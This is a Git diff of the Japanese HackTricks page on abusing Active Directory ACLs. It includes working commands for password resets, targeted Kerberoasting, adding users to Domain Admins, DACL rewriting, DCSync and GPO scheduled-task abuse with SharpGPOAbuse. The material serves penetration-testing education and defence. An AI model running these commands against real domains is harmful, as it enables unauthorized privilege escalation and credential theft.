- [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -4,12 +4,18 @@
|
||||
|
||||
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **および** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**の技術の要約です。詳細については、元の記事を確認してください。**
|
||||
|
||||
## BadSuccesor
|
||||
|
||||
{{#ref}}
|
||||
BadSuccesor.md
|
||||
{{#endref}}
|
||||
|
||||
## **ユーザーに対するGenericAll権限**
|
||||
|
||||
この権限は、攻撃者にターゲットユーザーアカウントに対する完全な制御を与えます。`Get-ObjectAcl`コマンドを使用して`GenericAll`権限が確認されると、攻撃者は以下を行うことができます:
|
||||
|
||||
- **ターゲットのパスワードを変更**: `net user <username> <password> /domain`を使用して、攻撃者はユーザーのパスワードをリセットできます。
|
||||
- **ターゲットを絞ったKerberoasting**: ユーザーアカウントにSPNを割り当ててkerberoastableにし、次にRubeusとtargetedKerberoast.pyを使用してチケット授与チケット(TGT)ハッシュを抽出し、クラックを試みます。
|
||||
- **ターゲット化されたKerberoasting**: ユーザーアカウントにSPNを割り当ててkerberoastableにし、次にRubeusとtargetedKerberoast.pyを使用してチケット授与チケット(TGT)ハッシュを抽出し、クラックを試みます。
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
@ -19,11 +25,11 @@ Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipal
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll 権限のグループ**
|
||||
## **GenericAll権限のグループ**
|
||||
|
||||
この特権により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループメンバーシップを操作することができます。`Get-NetGroup` を使用してグループの識別名を特定した後、攻撃者は次のことができます:
|
||||
この特権により、攻撃者は`Domain Admins`のようなグループに対して`GenericAll`権限を持っている場合、グループメンバーシップを操作することができます。`Get-NetGroup`を使用してグループの識別名を特定した後、攻撃者は次のことができます:
|
||||
|
||||
- **自分自身を Domain Admins グループに追加する**: これは、直接コマンドを使用するか、Active Directory や PowerSploit のようなモジュールを使用して行うことができます。
|
||||
- **自分をDomain Adminsグループに追加する**:これは、直接コマンドを使用するか、Active DirectoryやPowerSploitのようなモジュールを使用して行うことができます。
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
@ -31,7 +37,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
これらの権限をコンピュータオブジェクトまたはユーザーアカウントに持つことは、以下を可能にします:
|
||||
これらの権限をコンピュータオブジェクトまたはユーザーアカウントで保持することにより、以下が可能になります:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: コンピュータオブジェクトを乗っ取ることを可能にします。
|
||||
- **Shadow Credentials**: この技術を使用して、シャドウクレデンシャルを作成する権限を悪用することで、コンピュータまたはユーザーアカウントを偽装します。
|
||||
@ -40,7 +46,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
|
||||
|
||||
特定のグループ(例:`Domain Admins`)のすべてのオブジェクトに対して`WriteProperty`権限を持つユーザーは、以下を行うことができます:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: `net user`と`Add-NetGroupUser`コマンドを組み合わせることで達成可能で、この方法はドメイン内での権限昇格を可能にします。
|
||||
- **自分自身をDomain Adminsグループに追加する**: `net user`と`Add-NetGroupUser`コマンドを組み合わせることで実現可能であり、この方法はドメイン内での権限昇格を可能にします。
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
@ -59,7 +65,7 @@ net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
`User-Force-Change-Password`のためのユーザーに対する`ExtendedRight`を保持することで、現在のパスワードを知らなくてもパスワードをリセットできます。この権利の確認とその悪用は、PowerShellや代替のコマンドラインツールを通じて行うことができ、インタラクティブなセッションや非インタラクティブな環境向けのワンライナーを含む、ユーザーのパスワードをリセットするためのいくつかの方法を提供します。コマンドは、シンプルなPowerShellの呼び出しからLinux上での`rpcclient`の使用まで多岐にわたり、攻撃ベクトルの多様性を示しています。
|
||||
`User-Force-Change-Password`のためにユーザーに対して`ExtendedRight`を保持することで、現在のパスワードを知らなくてもパスワードのリセットが可能になります。この権利の確認とその悪用は、PowerShellや代替のコマンドラインツールを通じて行うことができ、インタラクティブセッションや非インタラクティブ環境向けのワンライナーを含む、ユーザーのパスワードをリセットするためのいくつかの方法を提供します。コマンドは、シンプルなPowerShellの呼び出しからLinux上での`rpcclient`の使用まで多岐にわたり、攻撃ベクトルの多様性を示しています。
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -96,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
ADオブジェクトを所有し、その上で`WriteDACL`権限を持つことは、攻撃者がオブジェクトに対して`GenericAll`権限を付与することを可能にします。これはADSI操作を通じて実現され、オブジェクトに対する完全な制御とそのグループメンバーシップを変更する能力を提供します。それにもかかわらず、Active Directoryモジュールの`Set-Acl` / `Get-Acl` cmdletを使用してこれらの権限を悪用しようとすると制限があります。
|
||||
ADオブジェクトを所有し、その上で`WriteDACL`権限を持つことは、攻撃者がオブジェクトに対して`GenericAll`権限を付与することを可能にします。これはADSI操作を通じて実現され、オブジェクトに対する完全な制御とそのグループメンバーシップを変更する能力を提供します。それにもかかわらず、Active Directoryモジュールの`Set-Acl` / `Get-Acl` cmdletを使用してこれらの権限を悪用しようとする際には制限があります。
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -106,7 +112,7 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **ドメイン上のレプリケーション (DCSync)**
|
||||
|
||||
DCSync攻撃は、ドメイン上の特定のレプリケーション権限を利用して、ドメインコントローラーを模倣し、ユーザーの資格情報を含むデータを同期します。この強力な技術は、`DS-Replication-Get-Changes`のような権限を必要とし、攻撃者がドメインコントローラーへの直接アクセスなしにAD環境から機密情報を抽出することを可能にします。[**DCSync攻撃の詳細はこちら。**](../dcsync.md)
|
||||
DCSync攻撃は、ドメイン上の特定のレプリケーション権限を利用して、ドメインコントローラーを模倣し、ユーザーの資格情報を含むデータを同期します。この強力な手法は、`DS-Replication-Get-Changes`のような権限を必要とし、攻撃者がドメインコントローラーへの直接アクセスなしにAD環境から機密情報を抽出することを可能にします。[**DCSync攻撃の詳細はこちら。**](../dcsync.md)
|
||||
|
||||
## GPO委任 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
@ -124,6 +130,8 @@ DCSync攻撃は、ドメイン上の特定のレプリケーション権限を
|
||||
|
||||
**特定のポリシーが適用されたOU**: 特定のポリシーに影響を受ける組織単位 (OU) を特定するには、`Get-DomainOU`を使用できます。
|
||||
|
||||
また、ツール[**GPOHound**](https://github.com/cogiceo/GPOHound)を使用してGPOを列挙し、問題を見つけることもできます。
|
||||
|
||||
### GPOの悪用 - New-GPOImmediateTask
|
||||
|
||||
誤って構成されたGPOは、コードを実行するために悪用される可能性があり、たとえば、即時スケジュールタスクを作成することによって行われます。これにより、影響を受けたマシンのローカル管理者グループにユーザーを追加し、特権を大幅に昇格させることができます:
|
||||
@ -139,25 +147,25 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "
|
||||
```
|
||||
### SharpGPOAbuse - GPOの悪用
|
||||
|
||||
SharpGPOAbuseは、既存のGPOを悪用する方法を提供し、新しいGPOを作成することなくタスクを追加したり設定を変更したりします。このツールは、変更を適用する前に既存のGPOを変更するか、新しいGPOを作成するためにRSATツールを使用する必要があります。
|
||||
SharpGPOAbuseは、既存のGPOを悪用する方法を提供し、新しいGPOを作成することなくタスクを追加したり設定を変更したりします。このツールは、変更を適用する前に既存のGPOを変更するか、RSATツールを使用して新しいGPOを作成する必要があります。
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### 強制ポリシー更新
|
||||
|
||||
GPOの更新は通常90分ごとに行われます。このプロセスを迅速化するために、特に変更を実施した後に、ターゲットコンピュータ上で`gpupdate /force`コマンドを使用して即時のポリシー更新を強制することができます。このコマンドは、GPOへの変更が次の自動更新サイクルを待たずに適用されることを保証します。
|
||||
GPOの更新は通常90分ごとに行われます。このプロセスを迅速化するために、特に変更を実施した後に、ターゲットコンピュータ上で`gpupdate /force`コマンドを使用して即時のポリシー更新を強制することができます。このコマンドは、次の自動更新サイクルを待たずにGPOへの変更が適用されることを保証します。
|
||||
|
||||
### 背景
|
||||
|
||||
特定のGPO、例えば`Misconfigured Policy`のスケジュールされたタスクを検査すると、`evilTask`のようなタスクの追加が確認できます。これらのタスクは、システムの動作を変更したり、特権を昇格させたりすることを目的としたスクリプトやコマンドラインツールを通じて作成されます。
|
||||
特定のGPO、例えば`Misconfigured Policy`のスケジュールされたタスクを検査すると、`evilTask`のようなタスクの追加が確認できます。これらのタスクは、システムの動作を変更したり特権を昇格させたりすることを目的としたスクリプトやコマンドラインツールを通じて作成されます。
|
||||
|
||||
`New-GPOImmediateTask`によって生成されたXML構成ファイルに示されているタスクの構造は、実行されるコマンドやそのトリガーを含むスケジュールされたタスクの詳細を概説しています。このファイルは、GPO内でスケジュールされたタスクがどのように定義され、管理されるかを示し、ポリシーの強制の一環として任意のコマンドやスクリプトを実行する方法を提供します。
|
||||
`New-GPOImmediateTask`によって生成されたXML構成ファイルに示されているタスクの構造は、実行されるコマンドやそのトリガーを含むスケジュールされたタスクの詳細を概説しています。このファイルは、GPO内でスケジュールされたタスクがどのように定義され管理されるかを示し、ポリシーの強制の一環として任意のコマンドやスクリプトを実行する方法を提供します。
|
||||
|
||||
### ユーザーとグループ
|
||||
|
||||
GPOは、ターゲットシステム上のユーザーおよびグループのメンバーシップを操作することも可能です。ユーザーとグループのポリシーファイルを直接編集することで、攻撃者はローカルの`administrators`グループなどの特権グループにユーザーを追加できます。これは、GPO管理権限の委任を通じて可能であり、ポリシーファイルを修正して新しいユーザーを含めたり、グループメンバーシップを変更したりすることを許可します。
|
||||
GPOは、ターゲットシステム上のユーザーおよびグループのメンバーシップを操作することも可能です。ユーザーとグループのポリシーファイルを直接編集することで、攻撃者はローカルの`administrators`グループなどの特権グループにユーザーを追加できます。これは、GPO管理権限の委任を通じて可能であり、新しいユーザーを含めたりグループメンバーシップを変更したりするためのポリシーファイルの修正を許可します。
|
||||
|
||||
ユーザーとグループのXML構成ファイルは、これらの変更がどのように実施されるかを概説しています。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格された特権を付与することができます。この方法は、GPO操作を通じた特権昇格の直接的なアプローチを提供します。
|
||||
ユーザーとグループのXML構成ファイルは、これらの変更がどのように実施されるかを概説しています。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格された特権を付与することができます。この方法は、GPO操作を通じた特権昇格への直接的なアプローチを提供します。
|
||||
|
||||
さらに、ログオン/ログオフスクリプトの活用、オートランのためのレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コードを実行したり持続性を維持したりするための追加の方法も考慮できます。これらの技術は、GPOの悪用を通じてターゲットシステムへのアクセスを維持し、制御するためのさまざまな手段を提供します。
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user